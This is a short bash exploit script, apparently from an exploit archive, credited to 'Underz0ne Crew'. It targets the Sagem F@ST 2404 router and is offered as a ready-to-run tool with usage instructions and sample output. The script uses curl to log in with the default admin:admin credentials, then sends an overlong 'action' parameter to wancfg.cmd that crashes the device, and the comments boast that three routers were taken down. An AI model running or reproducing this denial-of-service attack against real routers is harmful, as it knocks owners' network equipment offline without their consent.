# Sagem Router F@ST 2404 Remote Denial Of Service Exploit
# Discovery Date : 01/09/2008
#!/usr/bin/bash
#
# Author : Underz0ne Crew [Underz0ne.net]
# Zigma
#
# Severity : Medium
#
# CVE : Not assigned
#
# Example :
#
# Zigma@Underz0ne # ./sagem2404.sh 192.168.1.1
#
# Sagem Router F@ST 2404 Remote Denial Of Service Exploit
#
# By Underz0ne Crew
#
# [+] DoSing Sagem 2404 ...
# [+] Done !
# [+] cya
#
# Zigma@Underz0ne # nc -vvn 192.161.1.1 80
# (UNKNOWN) [192.168.1.1] 80 (?) : Connection refused
# sent 0, rcvd 0
#
# Tested on 3 Sagem routers F@ST 2404 all got crashed !
#
#PS: M7at7et w mrayech .. Man get a fucking life !!
#

IP=$1

echo -e "\n Sagem Router F@ST 2404 Remote Denial Of Service Exploit "
echo -e "\n By Underz0ne Crew "

if [ "$IP" = "" ];then
echo -e "\n USAGE : $0 [IP]\n"
echo -e "\n Example: $0 192.168.1.1\n "
exit
fi;

echo -e "\n[+] DoSing Sagem 2404 ..."

# By default the username of sagem's router is Admin so then the pass , sagem uses HTTP Authentication it can be so easly cracked or sniffed !!

curl -u admin:admin "$1/wancfg.cmd?action=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa"

echo -e "\n [+] Done ! "
echo -e "\n [+] Cya "
exit

[ reply ]